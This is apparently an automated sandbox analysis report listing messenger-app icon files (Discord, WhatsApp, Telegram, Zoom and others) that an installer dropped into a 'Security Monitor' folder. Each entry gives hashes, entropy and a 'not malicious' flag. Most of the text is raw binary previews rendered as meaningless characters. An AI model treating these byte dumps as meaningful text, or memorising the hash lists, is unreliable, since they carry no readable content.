SHA-512:	2948886496B704F85A71549341A1D8E5DE36375CCC6FF79B0F95BB6FC755147DE35C6F556E02CFF916B5967F95891E1586F065DC329A68E057093032B485A4A0
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................K.}.s......(...)........w...H.....!... .................W.#.n..&...<...M...i...k...[...C...+....q...K./.............W.#.u.....A...>...'......5~..&...;...G...2....x...V.,.........l.."...>...'...!T..-(..BA..MN..>=..)4..%...D...+....r.......[.j..../...5....J.."...("..63..=;..40..' ..!)../...8........p..p..$...8...+~....f.....$...)"..,&..(!..$........K..:.......v...}......>... F....4...d.......................\..+`.9...3........~..3...C...Ni......................................7...8........~..2...E...?d..z...............................f...9...9........}..0...L...Y...]...]...`...c...c...`...\...]...Y...N...8........r..1...U...\..._...v....xs.....}..........._...^...W...8....y...b.u....R...W...f........LA..........LA.....g...Z...V... ....w......r.....^...m...........................p...a.../....z..'........W.#.w..-...x...........................\|...1....z.....M.............W.#.s..&...k...................o.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\yahoo! messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	921
Entropy (8bit):	7.692568178991757
Encrypted:	false
SSDEEP:	12:6v/7MIPvdQrswMHeAQQI/hnoG82ukRW61fAKmg0sLyVFIMVwIaJ2OnksgHDPkInc:MersR+SIZbnu+FXaYyVBtM2Oksgjlzv4
MD5:	A319CAB2BDD2363F2CE6F71874255367
SHA1:	606F86B9B032C74B9A88240A9A4933B4EA256C52
SHA-256:	0644CF298FE403904496AF78ADDCCDB46C1D3A324BC996A1423F9CC581EBFA39
SHA-512:	D74BB956EF9011436A44617B8DB7519F8335A10F55805BEC4CDB673F971E148614B9A4068146D182BB6024B5774C85CB35A4B10BEC5307F2C367179DEB45E07E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...`IDATx.].Mh.e..w.....Mf..k...BK..B+I..A.%...z(V..b.S...E.=..J...DR.R.P#..d..I..Iv...$......uczp..wx....K.o....;...8$.;Ax...).J..X..;.;...Ru/....<.J.b...`X9x.B.m@I..a-~...Q..p..V...[.....}.h_T.z.........m...6.b......-;..................#pD/........n9.g.....s...F9}..?..</......P..+o.Q.I`f/.^Ma./..\#..N.!..(c....R.S....=.....xX....L.S......}...X._~..8u\....&....p.......w.J..g............1..M...d...x6.......~..yr......[q.......^...@9.efr...:.J....8.O!...X...Y.}.........U."..sbYTm....6.O.5.....[.-.YBK_....W./..x....NVJ..g..e.c..a...../$..&.. sC.t./....].w.na.....4^..S.-..f..Mp....../......;.G.~.+...#..,..<....c.i...E,K&..4D{$.fVaL.\n.....l.WO....,.wL..W$...l.. ..!....c...T.?_e.]...Fd.....h.d..&...m.].4t.u#...^0..y.J....e...Rn..... ...1....U......Av\|}s\|...{#....1..T&......V]J.a..<f..\|..~.b...?U/...e.g..<wM.5.}.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Discord.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.636162501782274
Encrypted:	false
SSDEEP:	96:L9Ma1/Da+8+n63MJPD7wVGuTsJsr1sZbol4zQvH:ZN17a+8+jlmsJsxll
MD5:	0673E359F24B2E3E70DEF71FD99DCA08
SHA1:	9CCFDF61774455EFA4F203A295B7CD73970381F1
SHA-256:	9B2E88181222D914DF957836D7DDD48F1400CEF417C2AAF4705F399F07E4F872
SHA-512:	C6178BDBCCCE71F4F92FEF31E8D5FADA4098CD5A2CF9A9593EE5A9E81CC9B878820731EE32874EF912FE816050B7A7F3DC280A2381B2BF41DEC8332BDBC98F9C
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................[I.....F#...L<P................................................................................................^L..........\H..hQ.......t.................................................................................................nF9..........]I..oV..hQ.......w.........................j?6E.YKs.YJu.YJu.XJu.XJu.WIu.XIu.UGu.REu.SEu.REu.SDu.SDu.SDu.RCt.RBy.VF\.........aM..qY..oV..iR.......x......................iX..}h..j...j...j...i..~i..~h..}g..wd..vc..vb..vb..wb..wa..wa..w`..v_..v`......fQ..t[..qY..pX..jT.......z..........}......fV_.m..m..l..l..l..k..k...j..we..vd..vd..wd..wc..wb..wb..wb..wa..xb..\Ms.gS..v^..r[..rZ..qY..kU.......\|.................{h..o..n..n..n..m..m..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Facebook Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Google Talk.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.327550606417895
Encrypted:	false
SSDEEP:	48:7ok26VKvsyK8gww8d6IrU866xoQ6iekgM7F5F616mlunzNa:7hNqsyw8NxogekgS/01l2zQ
MD5:	B1B0BDF79925656C6612EB420EFDD0CB
SHA1:	67A7A212310C229BD3753F937FE769392719BA85
SHA-256:	02FDCF85764302068222786937E5769650543F7B19B06208B65CE325792E7282
SHA-512:	700EDB186443417B8B5C2FFF44AC0CA4F40492F08789A4C44818F8255E4C5082AB7388AFBEE9DBE86C3979D15FF92F6CF33ED787694470AF7B88B86BD180F01D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................................................................................................................................................................................................................................................................................................!...!........................................................................................................141.........! !.!$!Z...1...1...)...!............................................................................................RQR9....101.Z]Z.........)()s...J...9...)...!........................................................................................BEBZ............sqs.....! !....Z...J...9...).......................................................................................)141.),).............),)........s...R...B...1...!...........................................................................!...1...J..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Line.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.904108079904619
Encrypted:	false
SSDEEP:	48:F+E7L9sciO2jASO/R9Zo6bVUZ0SS/UHL4/h3A4+Brwc2Ni:F+qcjZE7ZL6ZTS/Ur+398rwHw
MD5:	B4C726712268AACA5C8044B19D242C56
SHA1:	82295BE76E35F3B7A017C71DF4AFB7BCB13B8BD9
SHA-256:	67360906D5C412946E6621E6952DCC72E260B4BDA6B1097FB89D0968746B557A
SHA-512:	255E561C23605247FCA1BB3F071CE4E87DA9F580C93F9CB87980F2680C106FEF6B91E478953C667E55AC0B9C4891FB0D6389671AD5C1AEF0DD820ABC032A7F62
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...... .............................(...........................................................................................................*...............M...................................................................................................................U.......$...........................................................................................................................-............................................................................................................................................................................................v.v.1.1........................................................................................................................................................................................................................................................................J.J...........................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Mail Agent.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.015933025401917
Encrypted:	false
SSDEEP:	48:jlLTFwirlRR25mD7NHgf/nrqQ6kcwpgHBWgOXKpAsDn5DnO9eXVP:ZLTFwirlRRymnN0/rqpkcwaDOXZsxqYZ
MD5:	B5DECCE572BF993C4F6CD6BD108DF2C3
SHA1:	21C33E841AF7DE3AF8868EAFF54EDB1492AEBEA4
SHA-256:	42A521BC3EF75526B3A1839DA875A949B369C6A00F2EAA43C8BECBB3E8279555
SHA-512:	EEE0D7F592836DFCEB0D50E2695DF6ACF336211E3C83C9DF8B49325BD03E2B3E5BD39DC8CAE3193A32D953CAA79543F8D356930CC6C6769A861EDA8F31E04D6A
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................F.>.C.;.C.<.C.<.C.;.B.<wC.=.............U.@.B.<UD.<\|C.<.C.<.B.<.D.=.C.<nG.@$....................................................U.U.B.=.B.;.B.;.B.;.B.;.B.;.B.<.B.=hB.<.C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.<.D.=mf.f.................................................C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.C.<.C.=P................................................B.;.B.;.B.;.B.;.B.;.B.;.B.;.T.N..........................O.H.B.;.B.;.B.;.B.;.C.;.............................................C.?AB.;.B.;.B.;.B.;.[.U........................................B.;.B.;.B.;.B.;.B.;.C.;.........................................C.;EB.;.B.;.B.;..............................................B.;.B.;.B.;.B.;.B.;.B.;.C.;.................................F.F.C.;.B.;.B.;..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Microsoft Teams.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.386046922758486
Encrypted:	false
SSDEEP:	24:su7IUPPPPRZZZZZ+avnjxUrbbbbbbbbLB2JeFxgeaXQ0:hIUPPPPaavlUrbbbbbbbbLBoOxsXJ
MD5:	5D316BF8CE58BBA7DE8943D5E8A60244
SHA1:	898FCA22C2A5FDC22859FB4994BDC8105D797BC2
SHA-256:	92B5DF95A623E9786D079E86264CDCF882EF6C80FA824564D584B530D50BF483
SHA-512:	F7C9E47127411FAE362A2BEC2A196C4C6116350D3AF7D8E6841D7824D5F0148EA8CAEF04BC5F404BD055229EB209DED86578E3EA594EB1CCCE5219586225C904
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................{`.{..{..{..{..{..{..{`.........................................................................................{ .{..{..{..{..{..{..{..{..{..{..{ .............................................................................{ .{..{..{..{..{..{..{..{..{..{..{..{..{ .........................................................................{..{..{..{..{..{..{..{..{..{..{..{..{..{......................................................................ib`.ib..ib..ib..ib..ib..ib..ng..{..{..{..{..{..{..{..{`.................................................................^X..^X..^X..^X..^X..^X..^X..^X..xp..{..{..{..{..{..{..{r..YP..YP..YP..YP..YP.............................................l<8.l<

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Mozilla Thunderbird.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.865260776041573
Encrypted:	false
SSDEEP:	96:KSAuCHoaNkcD71rTr/JXTL2oOJu2u/V8o52K:KJuCHHN/rTMoOJun/VJUK
MD5:	340BD449C16ECBF1A7BC30C7B3AED555
SHA1:	D4464A700F4A7C6CDA68BE19AE90B0526D980B33
SHA-256:	01F8E1E82FDA69928E9EDA19DE2D775F4194CB8ADC081753C426456BFE2619F6
SHA-512:	16807B0C2B16547397D717DDA738B69122F2C3DC6CF2DE988F8675D4F2E0B5C9592D350FF6F408F012FCB4B3822FDB5ED6CA887D311DDAED090193AFAF0826B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................3...@...-......@...&.......................................................................................................(+...[(..m7..D...G...a1..>......<.......................................................................................'...7...D...E3...L ..V7.f)..X....>".s5.. ..z...................................................................)...0...9...A...I...O...R...S...P..zB...n8&.c(..P...{9!.t1..4...................................................... ...E'......\...D...P...V...Y...Z...[...`...g...i!...E...v:+.T...L...p/".^...8...A..4........................................)..tI..........=...@...P...T...Y...c...j....&&0.<>J.div.....j<5.j(..C...M...Y...E...A...}..=................................=...Q...8......g...Q.......c...V...v((1.?@L.hny...............n\b.a"..O...;...H...t5..c+..L...z..$........................J..\|R...4...0.......).....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Opera Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.760005259103538
Encrypted:	false
SSDEEP:	48:9cPueb/98+LRtKVF/7x5qcUuD4oxp7SJU9Jhni4GZ9h2u0Kuq+j6vQuQ:efO8Yx42Jhni4GUuLuhmY/
MD5:	6EDC10A9110ACA8413A654526A2C9A08
SHA1:	74515C9BAEE2A5CA04CBF57A179F98FFA650B890
SHA-256:	E15B8D976729695D510F6CD60E047006F57D09DCF477A58F7D3CF09ED9A34AAA
SHA-512:	1E02B7F6028872398FA087B6BCA84E7F5B5D85BBB14BE1F05F576AAC4E531127A2B5919095C8479838F98CDCCBBE8274891A355857515F94061FF2B8D4D286B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Telegram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.3625361404350915
Encrypted:	false
SSDEEP:	48:Og3bVNe49Z9LhdznJkyBVLBBHb31UOOrO2SB2NNg1F0U:53FLhBeyBlBB73134NNCWU
MD5:	E1286437AA2367AE05B567CA07F7AE38
SHA1:	A258C5400BBC5E28476805B4EBA278BA6D128432
SHA-256:	A886A335B7FC0A8EB88120FDF43E31AC349553D3DF1D3A911E3D2DF8A530BAAD
SHA-512:	E7477879F63A77A50B11D1CFFEC5ECF911A2906568FDFD1912031FAC0C2180834F5540F6EB190C43C0DA6CA52C51FF0C714C08F32C5ADF52C1FCA15EB2804595
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................X<.!~V.3.W.3Z=.!................................................................................................pM.!.n.{.u..z..~...~...~...~...{..u..o.}sO.%........................................................................\|U.#.t...~...........................................~...t..~W.'.............................................................m.k.~.........................................................~...n.o.....................................................u...........................................................................v..1!...........................................x...........................................~.......................................y.......................................u.u......................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Tencent QQ.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.056283894172477
Encrypted:	false
SSDEEP:	96:DZlab9wlipnz12qCLtZ7JgVksVScm8FPcTi:D3aJkipzZKtpJEkiBFEm
MD5:	F501D67C40B9B639411C99B14F60E14D
SHA1:	6F16B1384505A87848A6FB078FC3B62CC55BBF94
SHA-256:	4EC7F2AB9D5FD7E5F1622F007510B4F4D3C1C779E5CDB4B128E2D53A2E468A28
SHA-512:	775647B02208318CCAB7ED6873D9351ADD106D5EDF27857E73B215B18C04310693D210EB43415690D51191CDEF7F21AECED1B7FCF5A3AFB254698A9CF13AF3CF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................4...G...K...I...<...&...........................%...:...I...J...E...3...................................................7.'a..M...Z...i...e...N...C...#`....p...\...[...n..S..C...K...a...g...Z...M...,k....3.........................................R...............................e...,m..........+i..b...z...........................U...#Z..................................7.@....8....................Gp.VSY........................\co..Hz.............'...G........;.@.................................;. ....~...p...,....Sr.NAA........................................^US..S......[...A........@.0.....................................s.....8...02<.qdb....................................................../C..........~...........................................K...u.*'/.rdb..............................................................1E..y..P..............................................-.#.C67...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Viber.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.099397362289201
Encrypted:	false
SSDEEP:	48:SB5/OEO7w9J5CJDojYDgyTAU8Nazp+1RmzzVzab20B+H7YBkLviAhJySdzMVn9f:UGniUvXAdNGtzzu8ALAmS0
MD5:	3236B7EE04864A464C4269EA6772C06B
SHA1:	C32DAC3F987C391FAEEFB48184431669F6C2D961
SHA-256:	641DB9FED269716510F749F98430FBB3563A0DDE013354CA2ECCC572E95EAF84
SHA-512:	F311E36B92F5905B15E9738FE431C287253A2DDD05D5EBA758DCCD7257884D3A7990DCB6A77401C25122EAC419F68F543ACDA12BB3AABA0C790155EE84544702
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................................................`.........................................................................................................................j.........`.....................................................................................................................Uw..k.........`.................................................................................................................Vw..Wx..w.........@...@...@...@...@.............................................................................................Vx..Wx..Xz..............................................@....................................................... .............Wy..Xy..Xz..X{........................................................ .......................................`.................Wy..Xz..X{..Y{..Z\|..d...Z~..[~..z.........................................P...............................`...............b...Wz..X

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\WhatsApp.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5182
Entropy (8bit):	4.429830209492408
Encrypted:	false
SSDEEP:	48:Rd9W4lzzzzzYXFrNmoN03g+iIsaDBYFGmGW2PD51s2ARAAR/sAye8:dW4gnJLI7DBolGW2r51dARAARRye
MD5:	31B5594B3A3289FB258A4EFBAC38F230
SHA1:	E41016FBE49B5B9B292EFC5C252F73452E55B409
SHA-256:	3B0521E3291E2F330873A66864C3DAC163E8E5DA9D62518C4541B38A979DE7B8
SHA-512:	825F05B05B7A0182B8F87AFCF12BD4FA1B4CF9712D39FCF13058BE32C11091145432273B443F955BEAABB995573252BD7006103E03645107FF434C8EFCC90EA6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .(.......(... ...@..... ....................................................................................................................................................................?...................................................*......................................................................................v.../...................o.................................o.................................................................................................................................................................................................................................j.q.W.n.T.{.d..........................l.......................................=..........i.z.c...............^.>.A...A...A...A...A...A...A...A...T.4..................................................................B...B...B...K.&.B...B...B...B...B...B...B...B...B...B...B...B...`.A...........................................................B...B...B...B...B.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Windows Live Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.992992998632407
Encrypted:	false
SSDEEP:	48:LxwRTmmd4FjFuwKqDBF2fA+O4dwvcYhEEXB7/T/B/cfGt:LxtmiFjKuP+O4dw0Wx7/7qOt
MD5:	BCF4E26316979B5DA494DBEA2C92B1CB
SHA1:	080339DB0B56E86428295596CED9EEBF416D050C
SHA-256:	A34A7DB975EB4367B54DC7BB5BC49A6B12F12501C3BEE21D9C9093717C193999
SHA-512:	D52B6394C34929C4758F7F5C3D805EDE1BED09C47F80B23E4EDA8A8A81D12763014B999F95E9FBDAE41A1C26548718B86C90C02BB0C8714B21078330B12D2B8F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................................................................h?!.h?..i@.jA.jA..jA..jA..jA..jA.jA.i@..h?.................................................................................h?...K...S...X..]...Z...S...M...K..\|E..uB..i@.................................................:.Jc:.J.:.J.:.J.:.J.:.J.:.J.:.J..i@..[..o..............z..j...M..oE..d>.............................................:.J.N.b.c.y.j.}.c.u.X.i.N.a.E.W.A.R..lC..g......................{...g.yoR..wU.wjK.ziG.,ju.,kv.fq.0t.................._...A.Q............y..i.y.c.t.n.a..uH..wM..u...............................j...........k.}.2..F...9 ...6...;...<..@@..IC.qK=.P.G.X..........{.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Yahoo! Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.505932325468453
Encrypted:	false
SSDEEP:	48:6x5Iin1G7yKJ1Gs3UNIAB09uq8eq+xn704qtiCA2Kn5t7eUO:6fIinYy7sCIASsq8jKqBA2K5Ber
MD5:	A9756849B11E570FCB8F845201B4A435
SHA1:	6A6085576DD2B871485296BF2EAA1A4E02EF9C81
SHA-256:	4CDD2B35CB1CA9E330D06E184FDA8FA664DD59C7428F67DE9986E77087DEFB5B
SHA-512:	47D16D4EA54B20F7124BDD64B2377D1D00AEECC228EDBCD77A754EDA9D9F977180A2E6E906A0527C9D05EE2C9BEFD52045E7D42B93E69C6E94F9FA73195BDE22
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................._..._.P.a..a.._.P._..................................................................................................._...r.)...?...N...R...G...0....w.._......................................................................................._...\|..2...E...:...,...-...>...O...@..."...._...................................................................................m.*...<...'...+H..@>..MO..:G..'t..G...:....y.............................................................................._.@ ...6...-...$)..'"..41..<9..0,..&"..'g..?...(...._.@.........................................................B...F

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Zoom.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.128222585880228
Encrypted:	false
SSDEEP:	48:0UTeD1j0JtPPPPPPPPPPPPPPPPPPPPPPPPPPP0BU2LxHfNeQktOOh/L+1Ya2Xm5w:0UTeDrHkQeOOh/Lgf2Xm5PciHahGcymV
MD5:	FE64E1FF82E7BB3030287E3EC9A1CA1F
SHA1:	48B4134044934131BE1F0D78AE817B9D75142218
SHA-256:	2D57537EC385D3B1663ABE0A253446F10942B536B206DF511749302173F7EDD2
SHA-512:	C5DAFD99771D67DE444225E029BAC7D918434A7E1F8D46A50B9401867A720AD7409D95A644385B3924FAB0212936A32A8580BB4BF650BB7A214425C6B72ABBB7
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................9...C...;...<...<...<&..<..<,..<-..<-..<-..<-..<,..<..<&..<...<...;...A...:...........................................=...<...=(..=s..<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...=s..=(..=...=...........................=...>...>...=x..=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=x..>...>...=...............>...?...?...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...........?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...@...?.......@...M...@x..@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@y..K...@...A...A(..A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A(..A...A...Bs..B...B...B...B...B...B...B...B...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\aim.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.398174204777635
Encrypted:	false
SSDEEP:	48:Jast2MOHFY/G3BwkW6YvzQNUWRQi+EKbp2uDd4pWRwf2aGAXV:hwMOCGCvzCUW946dfMI
MD5:	E86E5DECCF75CD251149376B2882272B
SHA1:	B84C1608F2E77A4BB78D1523A679F9C74256D227
SHA-256:	228AB3BBAEEA67B9B701E5F034C05E00B61739F4BB8B9256E8FA6E4AE40C74BF
SHA-512:	784EB5883876810C15637C541EB036E87F0964F8A4B39CB7303B3C84EF8FC59425F7528890114B3381EEF021E992CD485A97EB4C58C5B8F5389F3114D6816C63
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................224.02;.15E614E:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:15E903?/01...................................=...H...u.......z...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x.......{...U...%>..B...........................c..%...)...+...)...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(......*...'....u...&E......................B~.'...5...?..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A...@...9...+....b.......................z..;..$D..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...?...(....0F...............'....#E..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...:....Ed...............+.:..#E..#D..#D..#D..#D..#D..#D.."D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\icq.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.123671236740637
Encrypted:	false
